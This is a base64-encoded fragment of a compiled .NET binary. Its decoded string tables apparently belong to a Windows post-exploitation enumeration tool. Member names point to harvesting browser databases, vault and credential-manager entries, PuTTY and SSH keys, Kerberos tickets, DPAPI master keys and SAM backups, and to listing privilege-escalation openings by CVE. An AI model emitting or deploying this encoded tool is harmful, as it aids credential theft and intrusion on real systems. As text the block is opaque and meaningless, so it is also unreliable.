QSaMT8KSQEqRkYK0QR6Q0MAdADHNj4FSQGFVsMASQKCK1oKSQK7J2IK2QQRVGYK2QQhKcMAiQTgWRwIYQHwQ68KYQGySroKQQSTMQoGQQTsM8EKQQS0WFIL4QNLMlsLSQMFKoUBqQHwQxAAqQFyUcILsQF6Q8gLuQEFVM4LqQLHNtQLuQFTViAAKQPgWWAHOQOHQfYAwQGkMNQLwQFgSAIBDAHwQ88BFAHwQ88BaQGdMjUMyQOGNkAM6QRRSIoM+QR6Q0MA0QF1T5UMCQWpIZsMKQNCQsMAdABjWEgCwQGGNtkM2QGKT98MJAHwQwYAJAEzHkwBJAHQNkwBJAF6Q7oDLAEFVM4DNAGOMOIDNAE9WCoALAFTViAAPAHwQ88BIQU8PVENIQXPK8MAaQGbMlgNKQWlK2ENUQTXVD4CQQM1U3YNWQNtS4INZADQJskCRAHwQ88BWQOOLbENQQONRs8NWQNWUdkNWQPdVfkNOQXwQwoOOQWuKBEOSQLwQwYASQIYPiYOSQUnVxUASQVaKRAASQXzTxAASQVxMBUASQU4VhUASQJ8VSAASQIlViwOWQRxIMMASQISUgYATAHwQwYAAQJfRZcOAQLURp4OUQXCRqQOWQV0Vz4CAQIhKcMAUQUjSaoOKQM/OLAOAQIuT8MOUQVJSckOWQMmLs8OVAF6QzoAXAEFVCoACQIiT/gOKQPxUP4OUQU0SQUPZAF6QzoAbAEFVCoAgQUiT/gOEQJwNPgOKQMcMUsHTAHQNkwBQQS4NiIPiQTwQycPdAHwQwYAdAEzHgcBfAHwQ88BWQOoVz4PdAF6Q6MChAEFVCoATAFjWEgCcQTNSW4PGQLwQ28FcQRuMlsLTAHHNj4FKQMQUXQPhAFTViAATAHWSXwPjAHwQwYAIQI0R8IPjAEzHgcBIQJJTcgPjAF6Q6MClAEFVCoAWQNHNdkPlAFTViAAIQJfTcgPmQXwQxAAmQUORsILMQKTIEYQqQLkRlMQqQXHNlkQsQWOMC8A4QPIBwoGqQHwQ4EQOQLgIYcQ2QTwQ6wHSQIWSckQWQOqVdAQnAHwQ88BpAHwQ88BrAHwQ88BWQM/OA4RtAF6QzoAvAEFVCoAxAG+MuIDxAElHSoASQIMK8MASQJTHT4CxAHwQIIRxAGxLIcRQQLwQwYAQQIzHowRWQLwQxAAqQHwQ64R2QTSTLURyQV6Q7sRzAEFVCoAKQPpSusRSQPPKoUBmQQgLhASyQQgLjMSyQRuMsMAQQJjWNYSQQLHNoUHbAB6Q3kT1AEFVM4D3AGOMOID3AE9WCoA1AFTViAAyQOwSDQBKQMTTQcUZADHNjsUnADZJowUKQMjQcMA9AB6Q7oD5AEFVM4D5AFTViAAZADZJowUgQL1RTYWgQGgID0W0QXuJkcWgQIbUE4WQQSlQlQW4QXwQ1gW4QVnNV8W6QXwQ2UW8QV6Q24WmQIFVHQWAQaWQHoWAQZ9ND4CZABtS0gCmQJTViAAgQIqKcMAkQRuMsMAKQNfUsMACQavLRMXCQYhKcMAsQKqNBkXuQK3Jh8XSQMiVVQWEQZ2K4UBIQLjKcMAuQLGLSUXCQaQKcMAsQKVK8MAYQFuMsMAwQLuSVMXwQIhKcMAwQL7LFoXwQIxWCAAwQKNNcMAwQIHUcMAwQJNIYoHgQECWCAAgQFKLecFSQNlRwIYGQZ6QwgY2QI9WC8A2QKOMC8A4QLgWTQYIQbwQxAA4QKWMz4C4QIvN1gWQQSRNCIPQQQnRD4YQQSeNEUYKQPxUHIYCQP3TJQY9AF6QzoA/AEFVCoACQMhKcMAGQPwQ9YYMQaAWt0YCQNGK8MAAQPwQ/AYCQNZKxAAQQbwQ/cYQQaWLP4YGQPwQwQZAQOAWgwZ4QLwQxAAYQJKLicZiQT2UVUZ2QSBN2IKqQDwQwYAqQDRWY8ZUQaTVpQZUQagVpsZUQZFPqIZUQaXNqYZUQbkVaIZUQb5VawZKQMcMUICoQO3QsYZcQanLMwZKQOXWisXBALwQ88BWQMTVu4ZDAJ6QzoAFAIFVCoAWQOwWCYaWQNMVToaHALwQwYAHAIzHgcBWQNoUZQBWQOwWGcaxAHwQ4Ya8QLwQycP8QKZOJIa8QKoSooHQQT7M5sagQaCMaAaqQMcHqUaqQNsHT4CiQQvMVQWiQRpO7YaiQbwQwYADgBFAAAACABoAOYaAgB5AIkdAgChAIkdDgAkAesaDgAoAQYbDgAsASEbDgAwATwbDgA0AVcbDgA4AXIbDgA8AY0bDgBAAagbDgBEAcMbAgC1AYkdCQC4Ad4bAgC5AYkdCQC8AeMbCQDAAegbCADBAd4bCQDEAe0bCQDIAfIbCQDMAfcbCQDQAfwbCQDUAQEcCQDYAQYcCQDcAQscCQDgARAcCQDkARUcCQDoARocCQDsAR8cCQDwASQcCQD0ASkcCQD4AS4cCQD8ATMcDgD9AQAACQAAAjgcCQAEAj0cCQAIAkIcCQAMAkccCQAQAkwcCQAUAlEcCQAYAlYcCQAcAlscCQAgAmAcCQAkAmUcCQAoAmocCQAsAm8cCQAwAnQcCQA0AnkcCwDkAn4cCwDoAoccCwDsApAcCwDwApkcCwD0AqIcCwD4AqscCwD8ArQcCwAAA70cCQAIA+gbCQAMA+0bCQAQA/IbCQAUA/cbCQAYA/wbCQAcAwEcCQAgAwYcCQAkAwscCQAoAxAcCQAsAxUcCQAwAxocCQA0Ax8cCQA8A94bCQBAA+MbCQBEA+gbCQBIA+0bCQBMA/IbCQBQA/cbCQBUA/wbCQBYAwEcCQBcAwscCQBgAxAcCQBkAxUcCQBoAxocCQBsAx8cCQBwAyQcCQB0AykcCQB4Ay4cCQB8AzMcCQCAAzgcCQCEAz0cCQCIA0IcCQCMA1EcCQCQA1YcCQCUA1scCQCYA2AcCQCcA8YcCQCkA8scCQCoA9AcCQCsA9UcCQCwA9ocCQC0A98cCQC4A+QcCQC8A+kcCQDAA+4cCQDEA/McCQDIA/gcCQDMA/0cCQDQAwIdCQDUAwcdCQDYAwwdCQDcAwwdCQDgA+MbCADkA94bCAA8BOMbCABABOgbCABEBO0bCABIBPIbCABQBOMbCABUBOgbCABYBPIbCABcBBEdCACABOMbCACIBOMbCACMBOgbCACQBPIbCACUBAYcCACYBC4cCACcBBYdCACkBOMbCACoBOgbCACsBPIbCACwBAYcCAC0BC4cCAC4BBYdCAC8BBsdCADABCAdCADEBCUdCADIBCodCADMBC8dCADQBDQdCADUBDkdCADYBD4dCADcBEMdCADkBOMbCADoBOgbCADsBPIbCADwBAYcCAD0BC4cCAD4BBYdCAD8BEgdCAAABU0dCAAEBVIdCAAIBVcdCAAwBd4bCAA0BVwdCAA4BWEdCAA8BWYdCABABWsdCABEBXAdCABIBXUdCABoBd4bCABsBeMbCABwBegbCAB0Be0bCAB4BfIbCAB8BfcbCACABfwbCACEBQEcCACIBQYcCACMBQscCACUBd4bCACYBeMbCACcBegbCACgBe0bCACkBfIbCACoBfcbCACsBfwbCACwBQEcCAC0BQYcCAC4BQscCAC8BRAcCADABRUcCADEBRocCADIBR8cCADMBSQcCADQBSkcCADUBS4cCADYBTMcCADcBTgcCADgBT0cCADkBUIcCADoBUccCADsBUwcCADwBVEcCAD0BVYcCAD4BVscCAD8BWAcCAAABmUcCAAEBmocCAAIBm8cCQBQBt4bCQBUBuMbCQBYBugbCQBcBvIbCQBgBsscCABoBuMbCABsBugbCABwBu0bCAB0BvIbCAB4BvcbCAB8BvwbCACABgEcCACEBgYcCACIBgscCACMBhAcCACQBhUcCACUBhocCACYBh8cCACcBiQcCACgBikcCACkBi4cCACoBjMcCADEBnodCADIBt4bCADMBuMbCADQBugbCADUBu0bCADYBvIbCADcBvcbCADgBvwbCADkBgEcCADoBgYcCADsBgscCADwBhAcCAD0BhUcCAD4BhocCAD8Bh8cCAAEB94bCAAIB+MbCAAMB+gbCAAQB+0bCAAUB/IbCAAYB/cbCAAcB38dCAAgB4QdCAB8B94bCACAB+MbCACEB+gbCACIB+0bIQCDAIccLgALAHEjLgATAHojLgAbAJkjLgAjAKIjLgArALIjLgAzALIjLgA7ALIjLgBDAKIjLgBLALgjLgBTALIjLgBbALIjLgBjANAjLgBrAPojLgBzAAckQQCDAIccQwB7AOMbYQCDAIccgQCDAIccoACLAOMbwACLAOMb4ACLAOMbAAGLAOMbYAJ7AOMbgAJ7AOMbgwN7AOMbowN7AOMbwwN7AOMbwwWTAOMbIwaTAOMbYwZ7AOMbwwaTAOMb4wZ7AOMbAwd7AOMbIwd7AOMbYweTAOMbgweTAOMboweTAOMbIwh7AOMbgQh7AOMboQh7AOMbwQh7AOMb4Qh7AOMbIwmTAOMbYwl7AOMbgwl7AOMboBKbAOMbABN7AOMbIBN7AOMbQBN7AOMbYBN7AOMbgBN7AOMboBN7AOMbwBN7AOMb4BN7AOMbABR7AOMbIBR7AOMbQBR7AOMbYBR7AOMbgBR7AOMboBR7AOMbwBR7AOMb4BR7AOMbABV7AOMbIBV7AOMbQBV7AOMbYBV7AOMbgBV7AOMboBV7AOMbwBV7AOMb4BV7AOMbABZ7AOMbIBZ7AOMbQBZ7AOMbYBZ7AOMbgBZ7AOMboBZ7AOMbwBZ7AOMb4BZ7AOMbABd7AOMbIBd7AOMbQ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gAGACsABgAsAAYALQAGAC4ABgAvAAYAMAAGADEABgAyAAcAMwAHADQACAA1AAgANgAIADcACAA4AAkAOQAKADoADQA7AA0APAANAD0ADQA+AA0APwANAEAADQBBAA0AQgAOAEMADgBEAA4ARQAOAEYADgBHAA4ASAAOAEkADgBKAA4ASwARAEwAEQBNABwATgAfAE8AHwBQAB8AUQAfAFIAHwBTADIAAAAAAAQA0j4BAAAABADyPgIAAAAEAOA+AwAAAAQA/z6BAK0BhwASAn0BuQaHAA4MgQAoDYcAQA1RApANVwLLDVsC9A1dAssNhwK9Do0C4Q6NAgsPrwJZD10CYA9dAogP0QLLDe0C3hD1AkQR3QMDGlcCAxrjAwMa5QMDGusDyw3tA8sNAAAAAAA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50U3lzdGVtRVZ8NDBfMTAAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50QXBwQ21kfDQ2XzEwADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRSZWN5Y2xlQmlufDQ4XzEwAENWRV8yMDE5XzExMzAAPD45X18yMF8wADxMaXN0Rm9sZGVyPmJfXzIwXzAAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEJhc2ljU3lzdGVtSW5mb3w0MF8wADxQcmludEluZm9Vc2Vycz5nX19jb2xvcnNVfDQxXzAAPD5jX19EaXNwbGF5Q2xhc3MxXzAAPD45X18xMl8wADxHZXRSZWN1cnNpdmVQcml2cz5iX18xMl8wADxQcmludEluZm9Qcm9jZXNzZXM+Z19fUHJpbnRJbnRlcmVzdGluZ1Byb2Nlc3Nlc3w0Ml8wADw+Y19fRGlzcGxheUNsYXNzNDNfMAA8UHJpbnRJbmZvU2VydmljZXM+Z19fUHJpbnRJbnRlcmVzdGluZ1NlcnZpY2VzfDQzXzAAPD45X18zXzAAPFNob3dSZXN1bHRzPmJfXzNfMAA8UHJpbnRJbmZvQXBwbGljYXRpb25zPmdfX1ByaW50QWN0aXZlV2luZG93fDQ0XzAAPD45X180XzAAPEdldFJlZ1ZhbHVlcz5iX180XzAAPFByaW50SW5mb05ldHdvcms+Z19fUHJpbnROZXRTaGFyZXN8NDVfMAA8PjlfXzVfMAA8R2V0UHJvY0luZm8+Yl9fNV8wADxHZXROZXRDYXJkSW5mbz5iX181XzAAPEdldEluc3RhbGxlZEFwcHNQZXJtcz5iX181XzAAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50dmF1bHRDcmVkc3w0Nl8wADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50REJzRmlyZWZveHw0N18wADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRQdXR0eVNlc3N8NDhfMAA8PmNfX0Rpc3BsYXlDbGFzczhfMAA8R2V0U2NoZWR1bGVkQXBwc05vTWljcm9zb2Z0PmdfX0VudW1Gb2xkZXJUYXNrc3w4XzAAPD45X18xOV8wADxGaW5kRmlsZXM+Yl9fMTlfMAA8U2V0QXNWdWxuZXJhYmxlPmJfXzAAbWFjMAByZXNlcnZlZDAAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEluZXRJbmZvfDQwXzExADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFNDQ2xpZW50fDQ2XzExADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRVc2Vyc0ludGVyZXN0aW5nRmlsZXN8NDhfMTEAQ1ZFXzIwMTlfMDg0MQA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50UFNJbmZvfDQwXzEAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50Q1V8NDFfMQA8PjlfXzEyXzEAPEdldFJlY3Vyc2l2ZVByaXZzPmJfXzEyXzEAPFByaW50SW5mb1NlcnZpY2VzPmdfX1ByaW50TW9kaWZpYWJsZVNlcnZpY2VzfDQzXzEAPD45X18zXzEAPFNob3dSZXN1bHRzPmJfXzNfMQA8UHJpbnRJbmZvQXBwbGljYXRpb25zPmdfX1ByaW50SW5zdGFsbGVkQXBwc3w0NF8xADw+OV9fNF8xADxHZXRSZWdWYWx1ZXM+Yl9fNF8xADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50SG9zdHNGaWxlfDQ1XzEAPD45X181XzEAPEdldFByb2NJbmZvPmJfXzVfMQA8R2V0SW5zdGFsbGVkQXBwc1Blcm1zPmJfXzVfMQA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRDcmVkTWFuYWd8NDZfMQA8UHJpbnRCcm93c2VySW5mbz5nX19QcmludEhpc3RGaXJlZm94fDQ3XzEAPFByaW50SW50ZXJlc3RpbmdGaWxlcz5nX19QcmludFB1dHR5U1NIfDQ4XzEAPEdldFNjaGVkdWxlZEFwcHNOb01pY3Jvc29mdD5nX19BY3RPblRhc2t8OF8xAFdUU19TRVNTSU9OX0lORk9fMQBJRW51bWVyYWJsZWAxAElPcmRlcmVkRW51bWVyYWJsZWAxAEVxdWFsaXR5Q29tcGFyZXJgMQBJRW51bWVyYXRvcmAxAFByaW5jaXBhbFNlYXJjaFJlc3VsdGAxAExpc3RgMQBkZXMzX2NiY19zaGExAG1hYzEAcmVzZXJ2ZWQxADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnREcml2ZXNJbmZvfDQwXzEyADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludEFsd2F5c0luc3RhbGxFbGV2YXRlZHw0Nl8xMgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VXNlcnNEb2NzS2V5c3w0OF8xMgBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTMyAE1pY3Jvc29mdC5XaW4zMgBVSW50MzIAUmVhZEludDMyAFRvSW50MzIAYWVzMjU2X2N0c19obWFjX3NoYTM4NF8xOTIAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEF1ZGl0SW5mb3w0MF8yADxQcmludEluZm9Vc2Vycz5nX19QcmludFRva2VuUHw0MV8yADxQcmludEluZm9TZXJ2aWNlcz5nX19QcmludFdyaXRhYmxlUmVnU2VydmljZXN8NDNfMgA8PjlfXzNfMgA8U2hvd1Jlc3VsdHM+Yl9fM18yADxQcmludEluZm9BcHBsaWNhdGlvbnM+Z19fUHJpbnRBdXRvUnVuc3w0NF8yADw+OV9fNF8yADxHZXRSZWdWYWx1ZXM+Yl9fNF8yADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50TmV0d29ya0lmYWNlc3w0NV8yADw+OV9fNV8yADxHZXRQcm9jSW5mbz5iX181XzIAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50U2F2ZWRSRFBJbmZvfDQ2XzIAPFByaW50QnJvd3NlckluZm8+Z19fUHJpbnREQnNDaHJvbWV8NDdfMgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50U1NIS2V5c1JlZ3w0OF8yADxjb29raWU+NV9fMgBGdW5jYDIAS2V5VmFsdWVQYWlyYDIAU29ydGVkRGljdGlvbmFyeWAyAG1hYzIAcmVzZXJ2ZWQyADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRBVkluZm98NDBfMTMAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50V1NVU3w0Nl8xMwA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50UmVjZW50RmlsZXN8NDhfMTMAQ1ZFXzIwMTlfMTI1MwA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50V0VGSW5mb3w0MF8zADxQcmludEluZm9Vc2Vycz5nX19QcmludENsaXBib2FyZFRleHR8NDFfMwA8UHJpbnRJbmZvU2VydmljZXM+Z19fUHJpbnRQYXRoRExMSGlqYWNraW5nfDQzXzMAPFByaW50SW5mb0FwcGxpY2F0aW9ucz5nX19QcmludFNjaGVkdWxlZHw0NF8zADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50TGlzdGVuaW5nUG9ydHN8NDVfMwA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRSZWNlbnRSdW5Db21tYW5kc3w0Nl8zADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50SGlzdEJvb2tDaHJvbWV8NDdfMwA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50Q2xvdWRDcmVkc3w0OF8zADx1cz41X18zAEZ1bmNgMwBtYWMzADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRVQUNJbmZvfDQwXzE0AENWRV8yMDE5XzEwNjQAVUludDY0AFRvSW50NjQAV1RTU2Vzc2lvbkFkZHJlc3NWNAA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50TEFQU0luZm98NDBfNAA8UHJpbnRJbmZvVXNlcnM+Z19fUHJpbnRMb2dnZWRVc2Vyc3w0MV80ADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50RmlyZXdhbGxSdWxlc3w0NV80ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludERQQVBJTWFzdGVyS2V5c3w0Nl80ADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50ZUN1cnJlbnRJRVRhYnN8NDdfNAA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VW5hdHRlbmRGaWxlc3w0OF80ADw+Zl9fQW5vbnltb3VzVHlwZTBgNABtYWM0AGRlc19jYmNfbWQ0AENWRV8yMDE5XzE0MDUAQ1ZFXzIwMTlfMTMxNQBDVkVfMjAxOV8xMzg1ADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRXZGlnZXN0fDQwXzUAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50UmRwU2Vzc2lvbnN8NDFfNQA8UHJpbnRJbmZvTmV0d29yaz5nX19QcmludEROU0NhY2hlfDQ1XzUAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50RHBhcGlDcmVkRmlsZXN8NDZfNQA8UHJpbnRCcm93c2VySW5mbz5nX19QcmludEhpc3RGYXZJRXw0N181ADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRTQU1CYWNrdXBzfDQ4XzUAbWFjNQBkZXMzX2NiY19tZDUAZGVzX2NiY19tZDUAYXJnNQBSZWFkSW50MTYAQ1ZFXzIwMTlfMDgzNgBhZXMyNTZfY3RzX2htYWNfc2hhMV85NgBhZXMxMjhfY3RzX2htYWNfc2hhMV85NgA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50TFNBUHJvdGVjdGlvbnw0MF82ADxQcmludEluZm9Vc2Vycz5nX19QcmludEV2ZXJMb2dnZWRVc2Vyc3w0MV82ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFJDTWFuRmlsZXN8NDZfNgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50TWNBZmZlU2l0ZWxpc3RGaWxlc3w0OF82AG1hYzYAYXJnNgBWQVVMVF9JVEVNX1dJTjcAVmF1bHRHZXRJdGVtX1dJTjcAPFByaW50U3lzdGVtSW5mbz5nX19QcmludENyZWRlbnRpYWxHdWFyZHw0MF83ADxQcmludEluZm9Vc2Vycz5nX19QcmludEF1dG9Mb2dpbnw0MV83ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludEtlcmJlcm9zVGlja2V0c3w0Nl83ADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRDYWNoZWRHUFBQYXNzd29yZHw0OF83AG1hYzcAYWVzMTI4X2N0c19obWFjX3NoYTI1Nl8xMjgAQ1ZFXzIwMTlfMTM4OABWQVVMVF9JVEVNX1dJTjgAVmF1bHRHZXRJdGVtX1dJTjgAPFByaW50U3lzdGVtSW5mbz5nX19QcmludENhY2hlZENyZWRzfDQwXzgAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50SG9tZUZvbGRlcnN8NDFfOAA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRLZXJiZXJvc1RHVFRpY2tldHN8NDZfOAA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50UG9zc0NyZWRzUmVnc3w0OF84ADw+OQA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50VXNlckVWfDQwXzkAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50UGFzc3dvcmRQb2xpY2llc3w0MV85ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFdpZml8NDZfOQA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VXNlckNyZWRzRmlsZXN8NDhfOQA8RW51bWVyYXRlRG9tYWlucz5kX185ADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgAwOUIzODRCMEQ4RkFDQTg1RkU2RTg2RUUzNzJEMkZERjQ0RkVEQzBBAFNFQ1VSSVRZX0xPR09OX1NFU1NJT05fREFUQQBNQUdFTlRBAGJhZFVBQwBnb29kVUFDAEdDAFBVQkxJQwBET01BSU5fUkVBRABTQU1fU0VSVkVSX1JFQUQAU1RBVFVTX0FDQ0VTU19ERU5JRUQAU0VfUFJJVklMRUdFX0VOQUJMRUQARElTQUJMRUQAS0VSQl9SRVRSSUVWRV9USUNLRVRfQVNfS0VSQl9DUkVEAEtFUkJfUkVUUklFVkVfVElDS0VUX1dJVEhfU0VDX0NSRUQATFJFRABTRV9QUklWSUxFR0VfUkVNT1ZFRAByc2FFU19PQUVQX0VOVl9PSUQAZGVzX2VkZTNfY2JjX0Vudl9PSUQAZHNhV2l0aFNIQTFfQ21zT0lEAHNoYTFXaXRoUlNBRW5jcnlwdGlvbl9DbXNPSUQAbWQ1V2l0aFJTQUVuY3J5cHRpb25fQ21zT0lEAHJjMkNCQ19FbnZPSUQAcnNhRW5jcnlwdGlvbl9FbnZPSUQAR2V0VHlwZUZyb21DTFNJRABMVUlEAFZBVUxUX1NDSEVNQV9FTEVNRU5UX0lEAExvZ2luSUQAU2Vzc2lvbklEAEV4ZWNDTUQAUFNpRABET01BSU5fUkVGVVNFX1BBU1NXT1JEX0NIQU5HRQBET01BSU5fUEFTU1dPUkRfTk9fQU5PTl9DSEFOR0UARE9NQUlOX1BBU1NXT1JEX05PX0NMRUFSX0NIQU5HRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9ET05UX1VTRV9DQUNIRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9VU0VfQ1JFREhBTkRMRQBTVEFUVVNfSU5WQUxJRF9IQU5ETEUAU0VDVVJJVFlfSEFORExFAEtFUkJfRVhURVJOQUxfTkFNRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9NQVhfTElGRVRJTUUAS0VSQl9QUk9UT0NPTF9NRVNTQUdFX1RZUEUAU0VDVVJJVFlfTE9HT05fVFlQRQBLRVJCX0VOQ1JZUFRJT05fVFlQRQBWQVVMVF9FTEVNRU5UX1RZUEUAS0VSQl9RVUVSWV9US1RfQ0FDSEVfUkVTUE9OU0UAS0VSQl9SRVRSSUVWRV9US1RfUkVTUE9OU0UAUFJJVkFURQBET01BSU5fV1JJVEUAU0FNX1NFUlZFUl9XUklURQBET01BSU5fRVhFQ1VURQBTQU1fU0VSVkVSX0VYRUNVVEUATEJMVUUAU0FNX1NFUlZFUl9JTklUSUFMSVpFAEdldE15UGVybWlzc2lvbnNGAFVOSUNPREVfU1RSSU5HAFNUQVRVU19PQkpFQ1RfVFlQRV9NSVNNQVRDSABDaGVja1JlZ0FOU0kARE9NQUlOX0FDQ0VTU19NQVNLAFNFUlZFUl9BQ0NFU1NfTUFTSwBTRUNVUklUWV9JTVBFUlNPTkFUSU9OX0xFVkVMAEFMTABMQ1lBTgBMR1JFRU4AU0FNX1NFUlZFUl9DUkVBVEVfRE9NQUlOAFNUQVRVU19OT19TVUNIX0RPTUFJTgBTQU1fU0VSVkVSX0xPT0tVUF9ET01BSU4ATFNBX1NUUklOR19JTgBET01BSU5fUEFTU1dPUkRfSU5GT1JNQVRJT04AU0FNX1NFUlZFUl9TSFVURE9XTgBLRVJCX1RJQ0tFVF9DQUNIRV9JTkZPAFN5c3RlbS5JTwBET01BSU5fR0VUX0FMSUFTX01F